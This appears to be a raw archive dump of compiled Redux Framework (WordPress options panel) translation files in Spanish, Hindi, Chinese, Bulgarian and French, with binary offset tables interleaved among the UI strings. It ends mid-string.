WordPress.RegularQuitarRepositorioRestablecer TodoRestablecer SecciónDerechaSUHOSIN InstaladoGuardar CambiosRestaurados todos los valores predeterminados de la sección!Seleccionar Tipo de SoporteSelecciona tu tipo de SoporteSeleccionar un elementoEntorno del ServidorInformación del Servidor¡Ajustes Importados!¡Ajustes Guardados!Los ajustes han cambiado, ¡debería guardarlos!Mostrar Objeto en la Consola de Objetos de JavascriptURL del sitioTamañoDeslizarFuentes EstándarEstadoEstiloEnviar Solicitud de SoporteSubscribeteSubconjuntosSoporteInformación del sistemaTeam ReduxAlineamiento del textoDecoración del textoTransformar textoLa URL de la página de inicio de tu sitio.La cantidad de tiempo (en segundos) que tu sitio puede usar en una operación (para prevenir bloqueos en el servidor).La Zona Horaria por defecto de tu servidor.El tamaño máximo de archivo que puede ser publicado en un post.Tamaño máximo de archivo que puede subirse a tu instalación de WordPress.Cantidad de memoria (RAM) máxima que tu sitio puede usar cada vez.La gente que desarrolla Redux FrameworkLa URL del programador de la plantilla.La versión de MySQL instalada en el servidor.La versión de PHP instalada en el servidor.La versión de WordPress instalada en tu sitio.TemaHa habido un error al guardar. Este es el resultado de su acción:Este campo no puede estar vacío. Por favor, introduce un valor.Este campo debe ser un valor de color válido.Este campo debe se una fecha válida.TítuloParaArribaTransparenteURLImposible modificar los archivos necesarios. Por favor asegurate de queUnidadesSubirUsuarioUsuarioVersiónVersión %sVer %sVisitar la web del pluginVisitado¡ATENCIÓN! Esto sobrescribirá todos los valores de las opciones existentes, ¡proceda con precaución!WP modo DebugLímite de memoria de WPWP MultisitioVersión WP¡Atención! Este panel de opciones no funcionará correctamente sin javascriptBienvenido a Redux FrameworkBienvenido a Redux Framework %s¡Bienvenido al Panel de prueba de Redux!¿Qué es Redux Framework?¿Qué tipo de usuario eres?¿Que hay de nuevo?Si tienes o no WordPress Multisitio activado.AnchuraEspacio entre palabrasEntorno WordPressProcesando...No tienes suficientes permisos para acceder a esta páginaTiene cambios sin guardar. ¿Le gustaría guardarlos ahora?Tiene cambios sin guardar. ¿Le gustaría guardarlos ahora?No debe introducir HTML en este campo, todas las etiquetas HTML se han eliminado.No debe introducir ningún carácter especial en este campo, se han eliminado todos los caracteres especiales.Debe proporcionar una lista de valores numéricos separados por comas para esta opción.Debe proporcionar un valor numérico para esta opción.Debe proporcionar una dirección URL válida para esta opción.Debe proporcionar un correo electrónico válido para esta opción.Sus opciones actuales serán reemplazadas con los valores predefinidos de este archivo. ¿Desea continuar?Sus opciones actuales serán reemplazadas con los valores predefinidos de este archivo. ¿Desea continuar?Tu panel no tiene campos. Nada que guardar.por %spulsandoDonación¡Se encontraron errores!Directorio de extensionestiene los permisos correctos de lectura/escritura o introduce la información del FTP a continuación.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkestá disponibledéjanos una review favorable en WordPress.orgmover el ratón por encimaNuestra documentación¿Se encontraron advertencias!lib/redux-framework/languages/redux-framework-hi_IN.mo000064400000021621147206624460017062 0ustar00_  #*3D5HD~4 " 4 D W d .k            ( 4 : J Z a g n ~           " + 7 G O V ` n t    ,        $ ( . 5 : C ^ d q ;| F E aE ` &,@mg3 3DB^ m..51T/6%? -(=fy"& #4Xu|( $&05 f"s*)  <"_fm_8//_r*" +# 3-3ac 6"Il(`)o. ! "1"#,1#2^#*C J ='S>R;<2F:871W,YGBH95$E)I6M@Q+ZL (%N #TO_0^X/[-DAK4 .\P!3"V]U&?Activate Demo ModeActiveAdd %sAdd MoreAdd/Edit GalleryAllAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomClick here to activate the sample config file.CloseDeactivate Demo ModeDefaultDeleteDescriptionDisableDismissEmail addressEnableExpandFont ColorFont FamilyFont SizeFont colorFont familyFrom Getting StartedGoogle WebfontsHeightHintsImportImport / ExportImport OptionsImport from URLLeftLetter SpacingLike Redux?Line HeightNameNew %sNewsletterNo media selectedOffOnOptionsOptions panel created using %1$sPasswordPlease WaitRedux FrameworkRegularRemoveReset AllReset SectionRightSave ChangesSelect an itemSettings Imported!Settings Saved!Settings have changed, you should save them!SizeStatusSubscribeSupportSystem InfoTitleTo TopTransparentURLUnitsUploadUserUsernameWelcome to Redux FrameworkWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Hindi (India) (http://www.transifex.com/projects/p/redux-framework/language/hi_IN/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: hi_IN Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes डेमो मोड सक्रिय करेसक्रियजोड़े %sऔर जोड़ेंगैलरी जोड़ें/संपादित करेसभी क्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगेक्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगेक्या आपको पूरा यकीन है? आप रीसेट करने से सभी परिवर्तित मूल्यों को खो देंगेपृष्ठभूमि संलग्नपृष्ठभूमि की अवस्थापृष्ठभूमि दोहराएँपृष्ठभूमि का आकारफॉन्ट समूह बैकअप करेबॉर्डर स्टाइलतलसैंपल कॉन्फ़िग फ़ाइल को सक्रिय करने के लिए यहां क्लिक करें.बंद करेंडेमो मोड निष्क्रिय करेंस्वतःहटाएँविवरणनिष्क्रिय करेंख़ारिजईमेल पतासक्रिय करेंविस्तृत करेंफ़ॉन्ट रंगफॉन्ट समूहफ़ॉन्ट का आकारफ़ॉन्ट का रंगफॉन्ट समूहसेआरंभ करेगूगल वेबफोंट्सऊंचाईसंकेतआयातआयात / निर्यातआयात के विकल्पयूआरएल से आयात करेबाएँअक्षर अंतरालरिडक्स पसंद आया?पंक्ति की ऊंचाईनामनया %sन्यूज़लेटरमीडिया चयनित नहीं कियाऑफऑनविकल्पविकल्प पैनल %1$s का उपयोग करके बनाया हैकूटशब्दकृपया प्रतीक्षा करें रिडक्स फ्रेमवर्कनियमितहटाएँसभी को रीसेट करेरीसेट सेक्शनदायेपरिवर्तन सहेजेंएक आइटम चुनेंसेटिंग्स आयात किया!सेटिंग्स सहेजा गया!सेटिंग्स बदल गयी हैं, परिवर्तन सहेजेंआकारस्थतिसदस्यता लेंसहायतासिस्टम सूचनाशीर्षकसेशीर्षपारदर्शकयूआरएल इकाईअपलोडउपयोगकर्ताउपयोगकर्ता नाम रिडक्स फ्रेमवर्क में आपका स्वागत हैचौडाईशब्द अंतरालकाम जारी...आपको इस पृष्ठ का उपयोग करने के लिए पर्याप्त अनुमति नहीं है.आप के परिवर्तनों को सहेजा नहीं है अब तक. क्या आप अब उन्हें सहेजना चाहेंगे?आप के परिवर्तनों को सहेजा नहीं है अब तक. क्या आप अब उन्हें सहेजना चाहेंगे?आपके मौजूदा विकल्पों को इस पूर्व निर्धारित मूल्य से बदल दिया जाएगा. क्या आप आगे बढ़ना चाहेंगे?आपके मौजूदा विकल्पों को इस पूर्व निर्धारित मूल्य से बदल दिया जाएगा. क्या आप आगे बढ़ना चाहेंगे?दानत्रुटी (या) पाई गयी!http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkचेतावनी(या) पाई गयी!lib/redux-framework/languages/redux-framework-zh_CN.mo000064400000033764147206624460017110 0ustar00 !%<5KD4  '=M_s   . .M)U  l (0F KY`g v          '7GNe28AZGU].X  2 M[` g!r   % .:K[%uW   !/5 GTo~,( !+3 ; G R]m'|.3'  5yV ($)2 :EMcUkF& FQ W d;oFEK8bL34 -h / a `(!!!!!J!",*" W",d""""b"3&F&Y&`& i&v&&& &E&N'EQ' ''' ' ' ' ' ' ( ((( ,( 6( C(%P(v(}((((!((( (()) ))) ))))) ) ) * **** =*J* Q* ^* k*x*|** ****+ ++?+J+),0, @,M,T],Q,- - - -)-)0- Z-f-m-s-+z----- -!--.-. C.M. T. ^.j.}.(..I./#/*/ 1/ >/K/O/ `/m////*/"/ 0,0 30@0G0 N0Y0`0 g0 t00 0 00(0000+,1(X1122222!2"(2K2R2 Y2c2j2s2|22J22E333#4;4K4 R4 _4*l4-434G4WA575(5(51#6BU6B6666 6> 7I7,c77"77 772& R-Y_ m@7:rQUd6j>+(^}O$tXGN%ikyKcw\a4'H`oBVZFu8v[?MsJh5<lqL)#SC3g0*z PpnE,eI;{/T9b" ]1f=.!D|~xWAActivate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLAutomatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDefault timezone is %s - it should be UTCDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingDocsEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Get System ReportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHome URLHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LanguageLeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Max Input VarsPHP Post Max SizePHP Time LimitPHP VersionPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSite URLSizeStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe people that develop Redux FrameworkThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkis availableleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Chinese (China) (http://www.transifex.com/projects/p/redux-framework/language/zh_CN/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: zh_CN Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes 启用演示模式启用开发插件激活添加%s添加更多添加/编辑 相册全部所有默认设置已恢复!允许追踪你确定要这样做? 重置将会抹掉当前所有设置数据值.你确定要这样做? 重置将会抹掉当前选区的所有设置数据值.你确定要这样做? 重置将会抹掉当前所有设置数据值.作者链接自动动作: "%s"背景附着方式背景片段背景定位背景位置重复背景背景尺寸备份字体源描边样式下浏览器修订历史清空相册点击此处启用演示配置文件.关闭鸣谢停用演示模式停用开发插件默认默认时区是 %s -默认为 UTC删除描述开发人员已启用开发模式你知道我们还有拓展插件吗? 这些插件将会极大拓展Redux设置面板的功能. 浏览我们的 %1$s 来了解更多!停用不再显示不允许追踪文档Email地址启用展开导出设置数据扩展字体颜色字体源字体尺寸字体子项字体多样性字体粗细样式字体颜色字体字体脚本字体样式字体子项从获取系统报告开始Google字体高度帮助改善我们的面板在此页面你可以复制/下载你当前的设置数据. 你可以以此作为备份以免发生任何错误, 或者你可以用来恢复此站点备份设置(或者其他网站设置).提示主站链接悬浮如果如此, 请 %1$s 与考虑 %2$s 来支持我们的开发.如果你想了解关于Redux的最新消息, 请订阅我们的内容吧.导入导入 / 导出导入选项从网址导入输入另外一个站点的设置数据URL, 然后点击导入来远程导入设置.在下方输入你的备份文件, 然后点击导入来恢复你的备份设置.语言左文字间距喜欢Redux?行高必须在"plugins_loaded"动作后执行.MySql版本名字新%s订阅没有找到符合条件的此类别项目.没有选择媒体关闭开启选项设置对象设置面板由 %1$s 提供开发PHP输入变量最大值PHP最大的POST尺寸PHP执行时间限制PHP版本密码请稍等Redux插件Redux 开发框架Redux Framework 更新日志Redux 开发框架有一个视频演示.Redux生成器Redux是一个简洁,可扩展的Wordpress主题和插件的设置框架.一般移除协议全部重置重置选区右SUHOSIN已安装保存更改选区的默认设置已恢复!选择一个项目设置数据已成功导入!成功保存设置!设置项已改变, 你应该立即保存!在Javsscript控制台显示对象网站链接尺寸标准字体状态样式d你个月子项支持系统信息Team Redux文字对齐方式字体装饰文字转变开发了Redux Framework的人此位置的动作将会被 "%s" 代替主题此项不能为空. 请提供一个有效的值.此项必须填写一个有效的颜色值.此项必须填写一个有效的日期.此演示数据面板包含了许多Redux的特性. 在深入了解前, 我们建议你先浏览 %1$s 来帮助你提高开发速度.标题到上透明URL部件%2$s 挂载的未知动作 "%1$s" 上传用户用户名版本%s版本查看%s访问插件主页访问警告! 此动作将会复写所有当前设置数据值, 请小心使用!想立即开始? 使用 %1$s. 它将会创建一个自定义的主题或者一个标准的管理员文件夹(由Undersocres与TGM提供). 节省你大量时间, 立即尝试下吧.警告! 若没有javascript, 这个设置区域将不能正常工作.欢迎使用Redux Framework欢迎使用Redux Framework %s欢迎来到Redux演示数据面板有什么新的宽度词组间距处理中...您没有足够的权限访问该页面。你还未保存更改. 需要立即保存吗?你修改了某些设置项. 需要立即保存吗?你不能在此填写任何HTML代码, 所有HTML代码将会被移除.你不能在此填写任何特殊文字符号, 所有特殊文字符号将会被移除.你必须填写一列由英文逗号分隔的数字串.你必须填写一个有效的数字值.你必须填写一个有效的URL地址.你必须填写一个有效的电子邮件地址.你当前的设置将会被现在的更改所覆盖. 确定继续?你当前的设置将会被现在的更改所覆盖. 确定继续?点击捐赠找到错误信息!插件列表有合适的读/写权限或者在下面输入您的FTP信息.http://reduxframework.comhttp://wordpress.org/plugins/redux-framework可用在WordPress.org给我们点赞吧将鼠标移动到上面说明文档找到警告信息!lib/redux-framework/languages/redux-framework-bg_BG.mo000064400000020567147206624460017044 0ustar00_  *.E5TD4  . @ M T \ f t z            . 5 ; B R a Xq    !      + ; C J T b h u    , (   # 2 9 ? G S Y _ c g s w }      ; F EO a ` XJmn>N0b \'%n#**AU   /M`q2" -(Hq  '#4X& -@75x  !2!T v"n-/-]T0 %/ Ubk%  !. P]Cm$If1f+u ;;!*@< K 9'X:[8L64U3Y7G^?HD50$E)J/ZFN=,\A (%O!.T-SMB>P _ 2]+QCR"1#WVI&;Add %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Background AttachmentBackground PositionBackground RepeatBorder styleBottomBrowserChangelogClear GalleryCloseCreditsDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEnableExpandExport OptionsFont ColorFont FamilyFont colorFont familyFrom Google WebfontsHeightHintsImportImport / ExportImport OptionsImport from URLInput your backup file below and hit Import to restore your sites options from a backup.LeftNameNew %sNo items of this type were found.No media selectedOffOnPasswordPlease WaitRedux FrameworkRegularRemoveReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubsetsSystem InfoThemeTitleTo TopTransparentURLUnitsUploadUserUsernameVersionVersion %sVisit plugin homepageWidthWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?error(s) were found!has the proper read/write permissions or enter your FTP information below.warning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Bulgarian (Bulgaria) (http://www.transifex.com/projects/p/redux-framework/language/bg_BG/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: bg_BG Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Добави %sДобави ощеДобави/Редактирай галерияВсичкиВсички настройки по подразбиране са възстановени!Разреши проследяванеСигурни ли сте? Възстановяването ще загуби всички допълнително направени промени?Сигурни ли сте? Възстановяването ще загуби всички допълнително направени промени в тази секция.Сигурни ли сте? Възстановяването ще загуби всички допълнително направени промени?фоново изображениеМестоположение на фонаПовторение на фоновото изображениеСтил на границатаДолуБраузърСписък с промениИзчисти галерияЗатварянеЗаслугиПо подразбиранеИзтриванеОписаниеРазработчик ИзключванеЗатварянеНе разрешавай проследяванеРазрешаванеРазшириНастройки за износЦвят на шрифтаСемейство от шрифтовеЦвят на шрифтаШрифтОтШрифтове от GoogleВисочинаНасокиВнедряванеВнедряване / ИзнасянеВнедри настройкиВнедри от уеб адресВкарайте вашия резервен файл отдолу и натиснете "Внедри", за да възстановите настройките на вашите сайтове.ЛявоИмеНов %sНяма намерени артикули от този тип.Няма избрани медиини файловеИзключеноВключеноПаролаМоля, изчакайтеRedux FrameworkОбикновенИзтриванеВъзстанови всичкиВъзстанови секцияДясноЗапис на променитеНастройките по подразбиране за тази секция са възстановени!Избери артикулНастройките са внедрени!Настройките са записани!Настройките са промени. Трябва да ги запишете!Покажи Object в Javascript Console ObjectРазмерПлъзганеСтандартни шрифтовеСтатусСтилПодмножествоСистемна информацияТемаЗаглавиеДоГореПрозрачноАдресМерни единициКачванеПотребителПотребителско имеВерсияВерсия %sИнтернет страницата на разширениетоШирочинаВ процес на работа...Нямате право на достъп до тази страница.Имате незаписани промени. Искате ли да ги запишете сега?Имате незаписани промени. Искате ли да ги запишете сега?Текущите ви опции ще бъдат заменени с тези предварително зададени стойности. Искате ли да продължите?Текущите ви опции ще бъдат заменени с тези предварително зададени стойности. Искате ли да продължите?грешка(и) бяха намерени!има подходящите права за четене/записване или въведете вашата FTP информация отдолу.предупреждение(я) бяха намерени!lib/redux-framework/languages/redux-framework-fr_FR.mo000064400000114650147206624460017077 0ustar00Kt {d5^q5D%4j  )9 LY` hu }  .   ' < [ c ){  9  l!!!3!;!""" ."<" C"M"T" c" n" y" " " "" " " " " "" # #. #O# f#r######$$9%B%H%1[%'%Z%U&f&'$'4'C'T'Ed'B'h'EV(C(E(-&)]T)X)B *1N** *** * *C*[+`,v,2, ,,,, ,!,-&-*---5- D-e-.#.6.G.Y. h.t..... .d.NA//60 00 11$.1S1o11111%1222 2k2WG33}4 4 444 4 444 4455-5<5 O5[5n5,~55(;6d6m6r6x6666 666{K88<8 9 9 #9.9>9M9P9 $:{E:&:9:M";>p;@;%;<8<2<*=72=Ij=F=]=%Y>>1>>~Y?x?\Q@ @'@7@/AXJAAA.[B6B4B6B0-C^CJdC=C3C'!D IDyjDhDME>FDF4HF8}FF FF3FFG($GAMGGAG$G6G4H9HBH JHUH]HsHU{H HH H HIFIQ3JJK8KVKvKK K4KsK^L dLqL L;LFLEMK[MbML N3WN-N/NaN`KO*OOcPsP|PPPJPP,Q AQ,NQ{QQQmQ`(R?RUi\VV!W)WXX )X 4XAXaX:fXX@XWX6MYY$YY(Y YZ%>Z"dZ ZZZ ZZ ZZ[[G%[m[ t[[[[[+[%[-$\R\%e\;\ \ \;\ ]&]@] ]]2]; ^F^`^%e^^^ ^^^ ^^^__3_!F_h_z______$_` `=`O` k`y``&``aazbbb@b;b*cUcdddee5eSMeIe}eNifCfCf8@gRyggTNh=hhhhii*iX;iiFk3wk kk kk k-kl5l9lE4 z &XGY o |FtЏE!(2[)z0 ’BΒWWibv$a;49.nTT4G|  !!.P]lʗ,5 Vn't3vp m(-E\[xo/,%OAWI|FC0q!?G4(H uBVDPC k@Z+2$ =`_n :TdR+!&A)92.Y5<D@E>h"L-*=0 rG3Js# Q7&61 {SM?8 84.f )*1'U;F };6Kbc5^"KeN'aziy9BX]J$%I7>:Hlt, 3/#gjw<~%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP%s version %s is out of date. The core version is %sYour panel has bundled outdated copies of Redux Framework template files – if you encounter functionality issues this could be the reason. Ensure you update or remove them.Activate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLAutomatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserBrowser InfoBuilderChangelogChild ThemeClear GalleryClick here to activate the sample config file.CloseCopied!Copy DataCopy Export URLCopy for SupportCreditsDatabase Table PrefixDeactivate Demo ModeDeactivate Development PluginsDefaultDefault Timezone is UTCDefault timezone is %s - it should be UTCDeleteDescriptionDetermines if PHP will display errors within the browser.DeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDisplays whether or not WordPress is in Debug Mode.Displays whether or not the current theme is a child theme.Do not allow trackingDocsDownload Data FileEmail addressEnableError: %sExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageFront Page DisplayGenerate a Support URLGenerate a Support URLGet SupportGet System ReportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.Home URLHoverHow to Get SupportI am a developer, building a product using Redux.I am a user, using a pre-built product.If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterIf you're modifying Redux Framework or a parent theme you didn't build personally, we recommend using a child theme. See: How to create a child themeImportImport / ExportImport OptionsImport from FileImport from URLIndicates if ajax based saving is enabled for this instance of Redux.Indicates if developer mode is enabled for this instance of Redux.Indicates if output flag for globally shutting off all CSS output is enabled for this instance of Redux.Indicates if the compiler flag is enabled for this instance of Redux.Indicates the installed Redux extensions and their version numbers.Information about the web server that is currently hosting your site.Information about web browser current in use.Input the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.Invalid security credential, please reload the page and try again.Is the server running in a localhost environment.LanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightList of template files overriding the default Redux template files.Listed below are the Wordpress plugins and/or theme installed on your site that utilize Redux Framework. We do not directly support products created with our framework. It is the responsibility of the plugin or theme developer to support their work. You will need to contact the author(s) of the products listed below with your support questions.Localhost EnvironmentMax Upload SizeMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNew in this ReleaseNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sOur core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.PHP Display ErrorsPHP Max Input VarsPHP Memory LimitPHP Post Max SizePHP Time LimitPHP VersionParent Theme Author URLParent Theme NameParent Theme VersionPasswordPermalink StructurePlease WaitPlease be sure to include for your developer - via cut and paste - the Support URL in the box below.Please copy and paste this information in your ticket when contacting support:Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Please proceed to the Redux Framework issue tracker and supply us with your support URL below. Please also provide any information that will help us to reproduce your issue.Posts PageRedux Data Directory WritableRedux ExtensionsRedux FrameworkRedux Framework - A Community EffortRedux Framework - ChangelogRedux Framework - ExtensionsRedux Framework - SupportRedux Framework - System StatusRedux Framework ChangelogRedux Framework StatusRedux Framework has an embedded demo.Redux Framework is the core of many products on the web. It is an option framework which developers use to enhance their products.Redux GeneratorRedux Instance: Redux VersionRedux and its extensions write data to the uploads directory. This directory must be writable.Redux is a simple, truly extensible options framework for WordPress themes and plugins.Redux is created by a community of developers world wide. Want to have your name listed too? Contribute to Redux.RegularRemote GetRemote PostRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select Support TypeSelect Your Support TypeSelect an itemServer EnvironmentServer InfoSettings Imported!Settings Saved!Settings have changed, you should save them!Should the developer not be responsive, read the following article before asking for support from us directly.Show Object in Javascript Console ObjectSite URLSizeSlideStandard FontsStatusStyleSubmit a Support RequestSubscribeSubsetsSuhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.Supercharge your Redux experience. Our extensions provide you with features that will take your products to the next level.SupportSupport hash could not be generated. Please try again later.System InfoTeam ReduxText AlignText DecorationText TransformThank you for updating to the latest version! Redux Framework %s is a huge step forward in Redux Development. Look at all that's new.That URL slug is in use, please choose another. %s is open for use.The URL of your site's homepage.The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)The current Reading mode of Wordpress.The current language used by WordPress. Default = EnglishThe current permalink structure as defined in Wordpress Settings->Permalinks.The currently selected page in where blog posts are displayed.The currently selected page which acts as the site's Front Page.The default timezone for your server.The following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The global_variable argument for this instance of Redux.The installed version of the current active theme.The installed version of the parent theme.The largest filesize that can be contained in one post.The largest filesize that can be uploaded to your WordPress installation.The maximum amount of memory (RAM) that your site can use at one time.The maximum number of variables your server can use for a single function to avoid overloads.The name of the current active theme.The name of the parent theme.The opt_name argument for this instance of Redux.The output_tag variable sets whether or not dynamic CSS will be generated for the customizer and Google fonts for this instance of Redux.The page parent variable sets where the options menu will be placed on the WordPress admin sidebar for this instance of Redux.The page permissions variable sets the permission level required to access the options panel for this instance of Redux.The page slug denotes the string used for the options panel page for this instance of Redux.The parent theme developers URL.The people that develop Redux FrameworkThe prefix structure of the current Wordpress database.The root URL of your site.The specified template path containing custom template files for this instance of Redux.The theme developers 